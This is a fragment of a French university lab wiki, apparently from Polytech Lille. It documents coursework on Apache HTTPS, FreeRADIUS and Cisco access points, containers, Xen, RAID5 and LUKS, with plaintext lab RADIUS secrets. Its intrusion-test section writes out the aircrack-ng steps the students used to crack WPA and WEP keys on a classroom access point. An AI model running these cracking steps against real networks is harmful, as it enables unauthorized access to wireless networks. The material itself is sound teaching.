                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Httpshercule.png|1000px|center]]&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
 vlan 17&lt;br /&gt;
 authentication open eap eap_group17&lt;br /&gt;
 authentication network-eap eap_group17&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 ssid Hercule&lt;br /&gt;
 encryption vlan 17 mode ciphers aes-ccm tkip&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 int dot11radio0.17&lt;br /&gt;
 encapsulation dot1Q 17&lt;br /&gt;
 bridge-group 17&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===5.3 Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===5.2 Cassage de clé WEP===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef012c92&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon&lt;br /&gt;
&lt;br /&gt;
En parallèle, on simule une connexion au point d'accès pour récupérer le handshake : &lt;br /&gt;
 $ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On réalise le cassage : &lt;br /&gt;
 $ aircrack-ng ./path_to_folder/cracotte07.cap&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:cassagewep07.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On monte le RAID dans notre VM : &lt;br /&gt;
  mount /dev/md0 /mnt &lt;br /&gt;
&lt;br /&gt;
On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.&lt;br /&gt;
On relance la VM. Puis on essaye de remonter le RAID : &lt;br /&gt;
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande : &lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49134</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49134"/>
				<updated>2018-12-21T18:10:32Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 5.3 Crackage de clé WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
